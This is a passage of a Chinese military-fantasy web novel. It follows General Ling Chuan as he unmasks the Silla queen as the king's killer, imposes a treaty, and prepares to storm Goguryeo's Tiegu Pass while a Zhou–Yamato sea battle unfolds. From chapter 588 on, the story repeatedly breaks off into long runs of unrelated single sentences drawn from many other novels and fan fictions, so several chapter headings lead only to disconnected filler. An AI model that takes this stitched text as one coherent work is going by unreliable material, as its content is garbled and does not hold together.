但他并未当面挑破,而是轻叹一声,说道:“就算要和谈,我也只跟新罗国王谈!如果贵国新王还未即位,这让我如何谈?” “将军不必为难,于情于理,都是王子金庾信继承王位,我把他带来了!”明珠王后将王子金庾信往前推了推,说道。 年仅十来岁的金庾信眼神中闪过深深的畏惧,下意识往后缩了缩,死死抱着母亲的大腿。 凌川戏谑一笑,若有所思地说道:“王子这么年轻,显然是无法治理国家的,得有人辅佐才行啊!” 明珠王后眼神中闪过一抹不易察觉的精光,说道:“将军放心,我作为母亲,定会全力辅佐他,忠于大周!” 狐狸的尾巴终于露出来了! 凌川似笑非笑地看着她,问道:“如果我猜得不错的话,金道日是你杀的吧?” 此言一出,明珠王后的眼神中闪过一抹慌乱,身体也不受控制地颤抖了两下。尽管她很快就恢复常色,但又岂能逃过凌川的眼睛? 之前,凌川就怀疑金道日的死多半有问题,原本只是想诈一下对方,没想到,自己竟然猜对了。 “将军切勿乱说,我岂敢行此大逆不道之举?”明珠王后连忙解释道。 虽然她表面镇定自若,但心里却早已是翻江倒海,按理说,知道是自己杀死国王的,也就大等公金道凯,但他已经被侍卫乱刀砍死。 就连侍卫也不知道真正杀死国王的是自己,之所以对凌川说国王是自杀谢罪,不过是想让凌川看到他们的‘诚意’,进而促成和谈。 其实,凌川对于新罗国王怎么死的并不感兴趣,但他不允许这样一个女人把持新罗朝政,这不仅对新罗不利,对大周而言也没有好处。 然而,当凌川当面问出自己的猜疑之后,后面的一众大臣却是目光惊疑不定,更有老臣直接走上前来质问明珠王后。 “王后,陛下到底是怎么死的?你是否有事瞒着我们?” 开口询问的这名老者名为金圣才,乃是新罗国相,而且还是王族血脉,虽说与金道日这一正统血脉相隔甚远,但若按照辈分,却是金道日的族叔。 “国相大人,凌将军开玩笑呢,您怎么也跟着起哄?”明珠王后眼神中闪过不悦之色,问道。 凌川见状,连忙添了一把火,说道:“诶!我可没心思跟你开玩笑,而且,我还有证据!” 说完,凌川挥了挥手中的信件,这是纪天禄刚才派人送过来的,其中正好提及了新罗国王被杀,以及明珠王后如何嫁祸给金道凯的过程。 不得不说,纪天禄这支斥候的能力越来越强了,进入金城不过两日便摸进王宫不说,还能在这么短的时间内将消息传出来,让凌川都刮目相看。 看到凌川手中的信,明珠王后的眼神中闪过一抹慌乱,但很快便再次镇定下来,她坚信,当时王宫之中不会有其他人看到。 “凌将军,我们带着诚意前来求和,按理说你提出什么样的要求都不为过,但这种子虚乌有的构陷,只会让我一个女流之辈看低了大周帝国!”明珠王后眼神中带着怒意,说道。 然而,就在此时,国相金圣才却走了上来,对着凌川躬身行了一礼,说道:“凌将军,这封信可否让我看看?” 凌川也没犹豫,直接把信递给了他,反正上面也没有其他信息。 金圣才接过信件看了几眼,脸色顿时变得凝重起来。 上面内容不多,但他却足足确认了三遍,随后抬起目光看向凌川,问道:“凌将军,我冒昧问一句,这信从何处得来?” “信从何处得来我不能告诉你,但我保证这上面所写的每一个字都是真的!”凌川居高临下地看着他,说道。 “多谢!”金圣才再次对凌川行了一礼,随即一双怒目看向明珠王后。 “你这恶毒的女人,你还有什么话说?” 明珠王后虽然不知道信中写了什么,但从国相的态度来看,事情多半是真的败露了。 其他大臣见状,也都朝着她围拢过来,明珠王后脸色剧变,连连后退,“你们,你们想干什么?” 毫无意外,这位蛇蝎心肠的王后被当场处决,她原本想着干掉国王,然后又将国王最有力的竞争者金道凯陷害致死,这样一来,儿子金庾信登上王座,自己便可以操控朝堂,进而掌控整个新罗国。 所有的计划都进行得很顺利,却偏偏在最后关头被凌川识破,以至于功亏一篑。 “凌将军,请进城详谈吧!”金圣才走上来,眼神中带着谦卑,邀请道。 凌川也没有废话,直接带着亲兵营和三百多死字营成员入城。 签订盟约的环节,与数日前在泗泆城差不多,凌川依旧提出了三个条件,和百济国的盟约内容差不多。 当然,也不是无人反对,只不过,反对的人都被当场砍了脑袋,剩下的都是赞同的。 双方盟约签订之后,凌川又加了一条,那就是新罗国水师全体备战,听后他的命令。 如今,新罗彻底被杀到胆寒,加上已经上了大周这条船,只能死站大周这边,没有退路可言。 当晚,凌川与金圣才详谈了诸多事宜,毕竟,新王年幼,以后是需要他辅佐的,他跟百济国的真忠信廉一样,都属于摄政王的角色。 其实,对于凌川来说,谁当国王他并不关心,但决不能让愚蠢的人来坐这个位置,更不能让不听话的人来坐这个位置。 凌川了解到,除去此前被自己干掉的那支水军舰队,如今新罗还有两万余海军,此时正在回援金城的路上,现在军令已经传出,让他们即刻返回,紧急备战。 “国相大人,我丑话说在前头,我需要的是一支听从命令的海军,如果到时候这支队伍出现任何问题,我麾下铁骑一定会再来金城!”凌川神色冷漠地说道。 金圣才知道,凌川是要用这两万海军去攻打大和的海军,说白了就是充当炮灰,但他们根本没有选择的权利。 第一卷 第586章 剑指高丽 “将军放心,接下来我会亲自下令整顿,该替换的将领替换掉,让他们听从将军的调遣!”金圣才看着凌川,用近乎卑微的语气说道:“恳求将军,别一口气打光了,否则,到时候我新罗国海域将一片空旷,毫无防御之力啊!” 凌川语气凝重地说道:“你放心,只要大周赢了,你新罗也将跟着大周享受着百年太平,前提是你们一直忠于大周!” “反之……”凌川目光直视金圣才,继续说道:“若是大周输了,就算你这两万水师一兵未折,也挡不住大和的报复!所以,无论是新罗还是百济,都唯有祈祷大周获胜你们才有活路!” 金圣才重重叹息一声,只感觉无尽压力将自己笼罩,快让他喘不过气来。 深夜,苍蝇来报:“将军,墨先生来了!” 凌川一听,眼神中闪过一丝激动,说道:“快请!” 很快,风尘仆仆的墨巡便走了进来,“墨巡见过将军!” 凌川快步上前扶住墨巡,脸上带着几分歉意:“先生不必多礼,这么大老远把您叫过来,实在是迫不得已啊!” “将军言重了,为将军分忧乃是我分内之事,半月前接到命令之后,更是片刻不敢耽搁,立马带人连夜赶来!”墨巡摇头说道。 二人落座之后,凌川问道:“先生带了多少人来?” “一百余名手艺不错的工匠!”墨巡回答道。 凌川点了点头,但还是觉得人手少了些,立马召来苍蝇,让他给金圣才传令,连夜召集城中所有木匠,带上工具天亮随大军起程。 次日,凌川依照计划率军起程,接下来是他们的此行的最后目标——高丽! 一万五千大军浩浩荡荡,此行,队伍中还多了一支五百人的新罗斥候,他们能力虽不及夜枭营,但胜在对高丽足够了解,有了他们的加入之后,夜枭营推进无疑快了很多。 除此之外,还有三百多名木匠,这同样是凌川连夜让金圣才召集起来的,主要是给墨巡带来的军械司工匠打下手。 高丽是这三国之中国力最强的,这也使得他们的军队无论是兵甲还是实力,乃至于城池的防御都要高于百济跟新罗。 只可惜,他们这次面对的是大周的陆上王牌,一万禁军精锐、两千玄甲重骑、三千雁翎轻骑外加一千斥候。 大军进入高丽境内,情况却是出奇的反常,纪天禄的夜枭营反馈,一路往前推进了两百里,别说是高丽守军,就连百姓都见不到几个,显然早已闻风而逃。 可直觉告诉凌川,事情没这么简单,因为,无论是之前的百济还是新罗,自己都是一路横推,一直打到他们的国都,高丽必然知道撤退只是饮鸩止渴,根本解决不了问题。 凌川找来地图,结合从新罗国那里得来的情报信息,两相对照,很快便将目光锁定在了一个地方。 “铁骨关!”凌川的手重重敲击在地图上,说道:“如果不出所料,他们正在整顿兵马,准备死守铁骨关!” 铁骨岭是一道东西横向延绵数百里的石岭,虽然不及百济国的圣居山那么高,但却异常险峻,而且,整条石岭皆是红褐色岩石,寸草不生。 只有中段位置有一条南北贯穿的峡谷,铁骨城便建立在峡谷之中,俨然就是一道天然的雄关险隘。 从新罗国的情报中对铁骨城的描述,这座关卡建成已有数百年,从未被人从外面攻克过,高丽显然也是铁了心要与凌川在此来一场攻守较量。 次日,大军终于抵达铁骨关外,远远便能看到,铁骨岭宛如一条巨龙的尸骨横卧在大地上,夕阳的照射下,泛起红褐色光晕。 凌川大致已经确定,这是一座巨大的铁矿,如果能够有序开采,产量将无比惊人。 城外是一片开阔的乱石岗,骑兵别说冲锋,就连行进都十分困难。 凌川看向远处那座建立在峡谷之中的铁骨城,城头之上,旌旗招展,人影攒动。 “大军就地扎营,所有校尉以上将领前来议事!”凌川果断下达命令。 很快,所有将领全部聚集到一起,凌川也没有废话,直接开始布置任务。 “纪天禄,你带夜枭营以及新罗国的五百斥候负责探查敌情、寻找水源等事务!” “遵命!”纪天禄抱拳领命。 “墨巡听令!”凌川将目光看向墨巡。 “属下在!”墨巡起身抱拳。 “你负责带领所有工匠赶制投石车,核心环节必须由云州军械司的人来做,新罗国那些工匠分批制作一个部位,确保核心技术保密!”凌川命令道。 “属下明白!”墨巡领命道。 “蓝少堂率一万禁军负责采集木材,这方圆十里基本都是低矮灌木,只能到十里之外乃至更远的地方砍伐树木!”凌川对蓝少堂说道。 “末将遵命!”蓝少堂的声音铿锵有力。 “柳衡率雁翎骑负责巡防,时刻关注城内动向!” “属下遵命!” “唐岿然负责率玄甲营将这片乱石清理出来,铺开一条可供骑兵冲锋的平坦道路,注意,石头放置在城外四五百步的位置,有序堆码,供后续投石车所用!”凌川对唐岿然交代道。 唐岿然起身领命:“遵命!” “洛青云负责收集火油和枯草,枯草编制成草绳,数量越多越好!”凌川心里很清楚,枯草倒遍地都是,可火油却不好找,主要是沿途城池的高丽人都撤离了,城中能否找到火油,还是一个未知数。 “遵命!”洛青云没有找借口,果断答应了下来。 凌川看向一众将领,满脸严肃地说道:“两日之内,所有事务必须准备完毕,三日之内,必须将铁骨关攻下来!” “是!”所有人齐声回答道。 很快,一切事宜便有序开展,但凌川内心的压力却没有丝毫缓解。 之所以是三天,因为,他们只有三日粮草。 而且,如果不出意外,此时东疆主战场已经开打了,自己必须尽快拿下高丽,然后转战支援,所谓兵贵神速,晚一天,就会多一分变数。 第一卷 第587章 首战争先 之前还在卑沙城的时候,凌川便让人回云州传令,让墨巡带领军械司的木匠赶过来支援,他原本的想法是在战舰上配置三弓连弩,以此增加远程杀伤力,没想到,竟然提前派上了用场。 “先生,咱们此次能否攻破这座号称牢不可破的雄关,就全仰仗您了!”凌川对墨巡说道。 后者拱手笑道:“将军言重了,属下不过是做自己分内的事情,将军才是主心骨!” 铁骨关城墙之上,大批高丽守军严阵以待,尽管他们据险关而守,但看到城外身披坚甲、手持利刃的周军之后,还是感觉到了巨大的压力。 然而,令他们感到意外的是,周军并未直接进攻,而是在城外扎营住了下来,这让高丽将领很是意外,一时间摸不透周军的意图。 毕竟,他们周军远征而来,必然不可能携带大量粮草,最好的办法就是速战速决,以战养战。 难不成,周军眼看铁骨关无法攻克,准备调集援军或是撤离? “加强巡哨,有任何异动迅速向我回报,另外,派一支斥候小队出去,摸清楚他们的动向!”主将金成圭看着城外周军那成片的营帐,开口说道。 “是!”副将拱手回答道,随即迅速下去传令。 与此同时,东疆海域战火骤起,杀声震天。 大和出动三万水军,近千艘战舰黑压压地铺满海面,直扑楚州,旌旗猎猎,船帆如云,锋锐的舰首劈开波浪,宛如一座海上城堡压来。 经上次试探,大周水师早已严阵以待,楚州三万精锐尽数出动,战船列阵迎击。 泗州、海州各出一万水师如两柄利刃,自左右两翼包抄而来。 苏州、沂州亦各起一万兵马,既作策应,又为前军压阵。 这种大规模战争,皆是牵一发动全身,整个东疆海岸各州都被一股紧张氛围笼罩,各州城紧闭,三十万水师外加十五万从内陆各州抽调的援军全部进入高度备战状态。 如今的东疆虽有四十五万大军,然防线漫长,三十万兵马被钉死在各个隘口、港口;真正能随时投入大海搏杀的机动兵力,不过十五万之数。 节度使府内,林远图稳坐中枢,军情塘报如雪片般飞入,一道道令旗随即传出,他的脸色在烛火映照下明暗不定。 次日,黎明破晓,双方便在珠母海域轰然相遇。 没有阵前喊话,没有试探迂回,仇人见面,分外眼红此刻,任何言语都属多余。 “放箭!” “火箭准备,射!” 战斗在震耳欲聋的呼啸声中拉开序幕,先是遮天蔽日的弩箭对射,紧接着便是蘸满火油的火箭拖着黑烟,如流星雨般砸向对方船阵。 帆篷被点燃,桅杆在烈焰中呻吟爆裂,浓烟滚滚,瞬间笼罩海面。 但这仅仅是序幕! 双方舰队非但没有减速,反而齐齐升满帆,桨手吼着号子将速度催至极限,如山岳般的战舰劈波斩浪,带着一往无前的气势,笔直地朝对方撞去! 甲板上,刀剑出鞘的寒光连成一片,士兵们咬紧牙关,死死抓住船舷、缆绳、桅杆底座,等待着那决定生死的一撞。 海风裹挟着硝烟与杀气,灌满每个人的肺叶。 “轰!” “咔嚓!” 惊天动地的巨响猛然炸开,不是一声,而是一片! 数十艘充当箭头的艨艟巨舰以骇人之速迎头对撼,包裹船首的铁皮在巨力下扭曲、崩裂、翻卷…… 木屑、铁片、断裂的船材混合着激扬的海水冲天而起,形成数丈高的惨白水墙。 高速撞击之下,体型稍逊但更为尖锐灵活的大和战船,往往能凶狠地楔入大周舰身。 一艘大周楼船被拦腰撞中,龙骨发出令人牙酸的断裂声,竟被硬生生顶成两截,海水疯狂倒灌,船体以肉眼可见的速度倾斜,甲板上的士卒如下饺子般惨叫着跌落怒涛。 而大周那些更为厚重坚实的战舰,则像一柄柄巨锤,将迎面之敌撞得粉碎,一艘大和快舰船头尽碎,整个舰身被巨大的惯性推得向后倒竖起来,随即被侧方友舰来不及避让,拦腰碾过,瞬间解体! 这已不是战斗,而是钢铁与木材、生命与海浪的残酷角力。 仅仅第一轮碰撞,便有超过二十艘主战舰当场沉没或重创,海面上满是漂浮的碎木、杂物和挣扎扑腾的人影。 然而,残酷才刚刚开始。 未等剧烈摇晃的船身完全稳住,双方的甲板上便爆发出野兽般的嘶吼。 “跳板,快!” “压上去!杀光他们!”到处都是将士们的喊杀声。 一块块包铁的长木板被奋力推出,搭上邻近敌舰的船舷。箭雨更加密集地从双方船舱的射击孔、女墙后泼洒而出,企图压制对方的登船企图。不断有士卒在跳板中途被射成刺猬,惨叫着坠入下方翻滚的海浪。 与此同时,舰队两翼,数以百计的蜈蚣快船、赤马舟像离巢的马蜂,灵巧地穿梭于巨舰之间,伺机贴近,用钩锁攀援,蚁附登船。接舷战在每一片可能接敌的海域爆发,刀光剑影,血肉横飞。 海战之残酷,远胜陆战。陆战败北,或可溃逃,或有投降之机。 而在这茫茫大海,舰毁即意味着死亡,即便水性再好,在冰冷刺骨、波涛汹涌的远海,在周围尽是杀戮与混乱的战场上,生还机会渺茫如缕。 大周镇海军主将高闻崇,屹立于指挥舰‘定海’号舰首,面色如铁,他身旁亲兵手持巨盾,随时准备应对飞射而来的箭矢。 他的目光缓缓扫过这片沸腾的杀戮场,冰冷而决绝的眼神似乎看到了十年前的惨烈画面。 十年前,前任镇海军主将季千帆,便是在此地与敌血战,壮烈殉国,镇海军十年来卧薪尝胆,等的就是雪耻之日! “传令!”高闻崇的声音压过战场喧嚣,冰冷而决绝,“命闵淮率敢死队、战奴营全部压上!不惜任何代价,给我撕开敌阵防御!” “得令!”身后旗兵挥动红黑双色旗帜,将这道死命令传遍战场。 第一卷 第588章 凌川,你这个疯子! 不远处,大和水军旗舰‘吉野丸’上,一名身着武士服,腰间插着一长一短两把武士刀的中年男子同样在紧盯着战局,此人名为远山景元,乃是此次大和主帅德川嘉信麾下的得力战将之一。 他清楚己方优势在于舰速与接舷格杀,但大周兵力占优,且必有援军赶来,必须速战速决! “赤马舟队全部放出!集中冲击周军右翼!一刻钟内,我要看到我们的旗帜插上敌舰!”远山景元厉声下令。 上百艘轻捷如飞的赤马舟从本阵缝隙中疾驰而出,如一群嗜血的鲨...... 眼下看似倭岛这边占优,但人家可以输无数次,倭岛只能输一次!哪怕是十比一的战损,输的也是倭岛。 许秋绾是第一次坐飞机,又紧张又激动,眼睛一直看着窗外,手心都捏出了汗。 她和李彻也第一次见面,并没有话题可言。刚才的几句,只是发泄心中的不满而已。 季怀安看了眼手表,也觉得差不多了,娇娇回去还要卸妆洗澡护肤,正好能赶上她睡觉的点。 今天一早,方诺去和煦苑接相思时,其实她早就到了,相思和乔秀彤的对话,她基本上都听见了。 他不理解为什么门内斋堂,还有大长脸,一个个都喜欢吃脑子?这玩意好吃么?反正他是早就吃腻了。 那半张脸露出来,上面一部分沾满血腥之气,看上去十分的阴狠。那怨毒神色更让人目光触之便心生恐惧。 他这么做的原因只有一个,不向徐麟服软的同时,还能借着姐姐的手,把面子给捡起来,而且也能探查到徐麟的虚实。 花花轿子人抬人,宇智波富岳不介意给盟友一点额外的温柔和赞扬。 飞机刚刚落地,他就看到了已经等在旁边的一个车队,打头的那辆车赫然是2号车子,前后更是有4辆黑色轿车。 韩志军扫了队伍一眼,突然发现了丁雨涵在里面,神色有点恐慌,而丁雨涵却显得特别的淡定,心想幸好来训练的教官不是王峰。 最后的本源灵雨落下,花草茂盛,绿树成荫,碧落世界的仙境范围,赫然扩大了十倍不止,原先在剩余三成大地都不足千分之一的仙境,终于占据了百分之一左右,看上去终于不那么恐怖了。 逛喜过后,陈星海冷静下来,并没有急着把几千株世间罕见药材采集到储物戒指中。 “大哥就是大哥,要不怎么比我们早出生呢?哈哈!”潘浦听完大哥的一番计策,心中佩服无比。 孤独寻败嘴边一弯,悄悄挂起微笑,很欣赏看着亚东不服输的心态,拽拽白须,转身悄悄离去。太阳悄悄滑落西山,映红西边天空一片彩霞。亚东与土拉格、黑铬跑下山,朝家里走去。 轻轻地在华座前放下,透明无色的水晶球透出光华,大团大团白色的雾气逸散开来。 王峰和薛浩相继走进了院中那间简陋的屋子。车里的高参谋长看着差不多了也丢掉烟蒂走进了屋子。 卉得势不饶人,身子几乎在瞬间就追了上去,爪子再次抓下,面对圆满位强者的偷袭,大天位的妖虎根本抵挡不了,在一击之下,就已经临近死亡,现在第二击落下,瞬间被卉撕成碎片。 出到前院打开大门,见两个肥头大肚中年身着不同工作服,正在不耐烦地责斥手下没吃午饭,拍个门里面的人也听不闻。 车队行驶了到了道路尽头,向左转过来是一栋五层高地士兵宿舍。车队停靠在宿舍楼一侧。战士们还依然徘徊在这个新环境的欣喜之中。再一次的听到了那个恶霸的声音。 用桃木剑挑起地上的蛊虫尸体,瞬间烧成粉末,跟着唤出数只吐血虫,沾染了鬼头降的气味后,飞了出去。 顿时,孙策吩咐身后众人,连忙一齐摆开,呈“一”字形状,静待二人杀来。 规矩,规则这种东西,一直都是强者建造而成,除非是有新人进来,将这样的规则打破,否则,规矩一直被强者所用。 顿时,当诸葛亮话一说完,所有人心中,全都被诸葛亮这话,给深深的震撼了不少。 而说起这位纳兰成品,正是因为他的幽冥昙花,才让云帆和魔地的雪有了缘分。 丁洋那家伙指挥人把几个花篮摆放在门口,居然第一个跑来给他恭喜。 不管发生了什么,生活还是要继续下去的,因为时间并不会因为你发生了什么而停止。 看他歇斯底里在地上大喘气,像一条死狗似得,薛昊却没有一丝的爽意。 而这里躺了一地的混混,就是他的手下,那么就是说,他是这里来闹事的人,然后与徐成羽产生了争斗。 陆云点了点头,张琪瑛便一下子,就冷不丁的抱住了陆云的胳臂。 难道真的要用掰弯的?听那无良主编的意思,要是叶凯成真的被掰弯了,那姐姐确实是安全了。可是,这样对叶凯成,总觉得不太好。 这一点让他有一点恼火,但是却又无可奈何,他慢慢地意识到今天自己可能在王浩明的身上占不到便宜了。 “从公务员的角度,我确实很希望你能将这幅画留在西班牙。”马克斯看了李辰一眼,见他不接话,便又开口说道。 怪异梦镜给了他提示,可是他没能想通其中的道理,也没敢往分身术方面想。必定在他的潜意识里还保留着梦境是荒诞无稽的思想,只当作是提示,却没敢当作真实的写照。 天启机关的组成方式比较的特殊,虽然是最高等的宗教武装组织,但其权力构架却一直遗留着古罗马后期的风格。低位者如不满自己的职位,便可以单挑的方式挑战高位者,获胜就可以取代高位者,失败就只有一死了。 话音刚落,石龙便一掌轰出,掌力犹如滔滔江水,层层叠叠地向叶枫袭来。 当初虽然和宋军说好的是五十万,不过那说的只是品种一般,不是很纯的藏獒价格,可是现在带回来的这两只,都是纯血金毛藏獒的后代。 若是白浅已经准备的万无一失,真的把乔宋给送走了,到时候寅政醒来,她也要把乔宋的事情压下来。 杜云想想自己目前的总资产也才不过近万上品元石,而且还要维持城池和副将们修炼所需的各种消耗,就忍不住一阵头疼。 他虽然派出重兵攻打四省,除了要占据四省城池和获得战争经验值外,本意上并没有彻底毁掉所有势力的意思。 霸王色霸气无差别释放,基本上在场之中能够清醒着的就剩下几个特别强悍的存在了,可是就算是如此,也没有多少人还保持着行动的能力了。 第一卷 第589章 改守为攻 “凌川啊凌川……”林远图闭上眼,手中那团纸已被捏得不成形状,“你可曾想过,此策若败,你我乃至这东疆万里海防,将面临何等万劫不复的境地?” 七皇子听到这里竟感动的热泪盈眶,多少次他都想恳求东方玄泽来帮助自己夺权,但多少次都戛然而止。 光影闪动间,林航睁开了双眼,他看到了几百米处的奥克利庄园。操纵者光线掩藏起了自己的身形,林航猫着腰慢慢地朝着庄园摸去。 康熙明知道他身体孱弱,却将他派到盛京那样的冰雪地,究竟安的什么心,不言而喻。 “我听我岳母说,你和那个陈秀萝关系要好,是这样的,我们公司最近想在网络平台上打广告,我们想让陈秀萝给我们产品念一下广告词!我们实在请不动她!”赵百川难为情的说道。 那人点点头,忽而脑袋朝着墙壁用力一撞,下一刻红红白白的脑浆子都出来了,东方玄泽始料未及,要不是陈锦瞳拉了他一把,那脑浆子都喷到脸上了。 楚国公也非常的笃定,他坚信自己已经识破了面前这位韦贵人的鬼把戏。 见张三丰的情形确实危急,尽管这老道纯阳无极功炉火纯青,十香软金散之毒似乎对他作用不大。 叶寻点点头,体内9级法力强度,天法师级别的法力,朝着王擒虎体内疯狂灌注。 一眼望过去,遮蔽天地,密密麻麻,不知道究竟是几十,几百万之众。 但这次他没有选择直接冲上去,而是将视线盯向了高台的底座,冷声暴喝。 清泉岭上,元真一人折了整个野狼谷的面子,机会难得,崔望不愿错失良机,在城外公开向元真发出挑战。 也许可行,虽然雏田的查克拉性质变化做不到,但是形态变化,以日向一族对查克拉的掌控力。 夺取大阵的主动权,对于双方来说都至关重要,不过对于那些中立的弟子,倒是无所谓,毕竟阵法的基础就是他们的力量,谁来主导无所谓,只要可以化险为夷渡过难关就行。 富家嫡子富子天未亮就来到濮阳市,为其父富甲来寻一味药石,可恶的是整条肆列的人都在寻找同一味药石。 突围而出的修者近百,庞域根本记不得他们的样子身份,但对于突围的第一批人,他印象深刻。 离在外门之时,名声不显,蛰伏整整三年,也就最近一年火速崛起。 执政官负责管理内政、工业生产、非军事区域的矿产管理,以及各种军事、生产物资的储备、管理跟运输。 他当初与紫檀入门不到一年就杀入内门的战绩,至今流传在外门。 林载舟墓旁另一座旧墓,葬的是林柒的二师伯黄黎士,而距离稍远的那座新墓中,葬的是林柒的四师伯左宜武。 绝大多数【夏国科技交流1号房】聊天室内成员,在获得积分之后的选择,跟北美那边的华裔聊天室成员几乎一样,均都是选择用积分直接兑换夏元。 不管有没有用,陈咨打算给其特训一下,至少要能够把注意力能够集中起来。 如今脸上被燃烧下坑坑洼洼痕迹痛的哇哇大叫的哈桑哪里顾得上这些,他粗壮的双手死死地抓住蟒的黄金身躯,用自己忍受的疼痛,同等量的施加在了蟒的身体上。 第一卷 第590章 攻破铁骨关 “轰!” 地动山摇般的巨响炸开! 那裹挟着烈焰与浓烟的巨石狠狠砸在城墙垛口上,刹那间砖石崩裂,火星如暴雨般向四周迸射。 中间经历的那么多,多数是意外,但是也保不齐都是霍坤威算计好的。 看着是个男人,却浑身透着一股子阴柔的气息,一看就不是个正常的男人,说起话来,嗓音还略带尖薄之意,这分明就是个太监。 杀无赦看着甄汐,他委屈巴巴的跪者,强忍着眼睛的酸痛,到最后像是实在忍不住了,竟然一瞬间哭了出来。 那人意志也坚定了起来,捡起地上的宝剑,慢慢地求生欲占据了他的大脑。 周围的茫茫白雾,在他们眼里,已经变成了点点灵力汇集的场景。 到底谁才是烂泥扶不上墙?需要人扶的是赵云吧?刘禅突然有点理解自家老头刘备为啥干不过又黑又臭的曹阿瞒了。 这也是他为何要让李崇义出征之后,有事儿没事儿就往周边国家轰上几炮的原因所在。 哪怕后来洛千来过,也可能看到已成的风水局没有问题,所以也就没有插手。 甄汐一回头,便看见染墨笑逐颜开的朝着这边走过来,也不知道为什么,看见甄汐能让他真么高兴。 柳凡自觉收招,浪费了部分的真气,后退散步,旋即再度杀出!这一次柳凡只是采用了单纯的体术。 毕竟港漫中的九阴真经练到最后,甚至可以白日飞升,如果王博拿出来的话,绝对会引起无数人的注意。 蒋老爷子想到蒋韶搴那性子,他也不指望方棠是个体贴的,只要韶搴喜欢就行,可是她这性子,和韶搴在一起两人不会感觉闷吗? 粘剑,后世电影中常常见到:剑斗双方的剑死死地架格在一起,无知的导演,会拍出双方像两位力士掰手腕般压来压去比拼力气,顺便吹胡子瞪眼地说几句豪气万丈的台词。 曾经很多人想夺走花雨的宝贝,经历几波战斗时候,所有人都歇了那个心思,毕竟那个宝贝不是谁都有命去享受的。 犹豫了许久,马恩决定去找约翰大叔,他想要向约翰大叔请教这个问题。 林汐玥狠狠地瞪了他一眼,紧接着大眼睛转了转,想到了一个好办法。 M国的马金号四万吨两栖攻击舰,就是采用了混合电力驱动的模式,这样可以节省百分之五十的燃油。 当然了,这样没什么新意,但也不会犯大错,攻打起来会比较麻烦。 因为他本来想坐在楚芊芊旁边,可是楚芊芊的一边坐着凌星语,另一边坐着顾昱宁。 这些域灵的神通和灵智直接来自于造物境修士,诞生之初就现已明悟了部分规律之力,很简略就能把实力到达一个极高的程度,造物境修士的法力越深,能够蕴育的域灵也就越多,神通也就越强。 几分钟后,乌良才以及乌家其他的尸体就被带到了客厅,其中就包括乌长川。 虽然自己没见过这些人,但是祠堂里的画像还是让人记忆深刻的。 她看起来刚睡着、又被许岩喊起来了,匆匆赶到之后,乱糟糟的头发可爱地炸起来,身上穿着那件朴素的灰布睡衣,勾勒出纤细匀称的身体曲线。 第一卷 第591章 徒步冲杀 寅时刚过,蓝少堂快步来到凌川身侧禀报:“将军,正面城墙已大面积垮塌。只是……垮塌的墙体与咱们砸过去的石头混在一起,在城外堆成了一个大斜坡,乱石嶙峋,战马绝难冲上去!” 凌川略一思索,下令道:“传令投石车,改用百斤左右石块,增大抛射距离,目标转向关内营区与敌军密集处!其余各部,做好步战冲锋准备!” 减轻石重是为了增加射程,将打击纵深延伸到关内,进一步扰乱、驱散守军,为即将到来的步兵冲锋创造有利条件。 一炷...... 刚开始的时候他们也是一头雾水,等后来看到视频上传者的解说,这下明白了,竟然是原汁原味的宋词演唱,这东西有点意思哈? “还得俩月,纽约那边的中学要再过俩月才会开学,最近我俩正到处跑着找学校呢!”沈隆回答道。 车子一停下,村里的人就闻讯赶来,帮忙打扫卫生,布置场地,沈隆也跟着李达康一起维持现场秩序,没过多久,乡里、县里都不断有人过来。 吃饱喝足,阿田有了力气,预备告诉这和尚,豆腐怎么个精准磨法。一升豆子,怎样磨出上好的白嫩的豆腐。 “土司金印,大明的太祖洪武皇帝朱元璋御赐给我的九世祖的信物。有它在,我马家的土司位子才坐得名正言顺。我每天睡觉都要把它放在枕下,唯恐有什么闪失。”说着,马斗斛把土司金印放到秦潇手里。 没有人反对这个决定,虽然作为主帅应该坐镇中枢,但这次状况的确与往日不同,战场形势千变万化,通讯也一定会被隔绝,往来沟通一断,没有临阵决断者,是绝对不行的。 “你好像并不开心?”上官弘夜皱起眉头,他这样伤害你,难道你还是放不下他吗? 骆养性已经没有退路了,血红着眼睛提着那把沾染着父亲鲜血的刀,对还有些犹豫的几个大臣嘶吼:“现在我们就拥戴摄政王登基上位,如果谁有不从,我现在就杀了他。”然后大刀一挥,毫不犹豫的砍下了张维贤的人头。 要是上半场无法取得领先,下半场还能把比埃尔霍夫换上去,让他和克洛泽组成双中锋,这样的话中国队的防守压力就更大了。 当时,魏忠贤受到朝廷大臣们的交相攻击,正想寻求外援,因此收留了他,为他鸣冤叫屈恢复了官职。并且不久,也就是在今年年初的时候,直接拉进了朝堂,成为自己的智囊型人物,现在自己需要这样的人才。 我有些奇怪地发现,她家里似乎没有孩子的房间,也没有孩子的照片,难道他们结婚这么多年和陆雨馨一样,居然也没要孩子? “这些都是以前留下来的,千年以来,不过是修缮。数千年前,这里还有一条灵脉,渐渐枯竭,如今已经变成了凡地。”万老鬼有些感概。 “我明白了,你又是怎么被人追杀到这里的?”苏白压下心头的震惊,问道。 如果还要找相似点的话,那他们都想做弑君这件事,只不过叶孤城是闲得蛋疼去弑君,而苏氏则是要为自己的母亲复仇。 青云邪尊创建了一个新的教派,名字叫新,在青云邪尊的规划中,新教一共有三个部组成,分别是战部,苗部,以及新人类部。 对于阿伦这种贫民窟走出来,而且还有前科的人来说,能够进入到乔治城大学,的确是一步登天。凭着乔治城大学这种“贵族”招牌,也足以掩盖住阿伦的那些黑历史。 问题是我们现在正在商量,如何对付龚哥和橘子的问题,她怎么突然冒出这么一句话来?细细一想,我觉得她指的是钱瑛。她的意思应该是让玲玲盯住我,千万别让我单独跟钱瑛在一起。 不仅如此,之前被九霄神火阵烧的面目全非的湄娜,现在竟然恢复了原来的容貌,而且感觉比之前变得更漂亮了,气质也更加的出众。 就在此时,拉姆斯突然感觉到,后面有人推了他一把,下一刻,他失去了平衡,狠狠的摔倒在地。而紧接着,那个推他的人也倒下了,摔在了他的身上。 我动手解开她的安全带,突然机舱里发出一声砰响,一股焦糊的味道在机舱里弥漫开。 我特意吩咐劳伦斯校安排人保护好酒井望,毕竟这家伙现在还有些价值。 “哎呀,你们能不能先散开啦,这么挤着空气不好啦。”林夕瑶用手推了推北冥尘。 仅仅只是一瞬间,林夕瑶就淡然接受了,也对,毕竟,在地球上的时候也是有很多人绝对信服上级命令的,特别是那些邪教。 “阿岩,你现在就回家去用那铁锅,用那铁锅,”老祭祀说到这有些卡壳。 下午四点钟的时候,盐田被我们扩大了将近两倍多,每月出产的粗盐足够供给四个岛屿而且肯定还有剩余。 后羿面色狰狞,被捆成大粽子的他,抬起头,死死盯着前方宝座上的那道渊渟岳峙的身影。 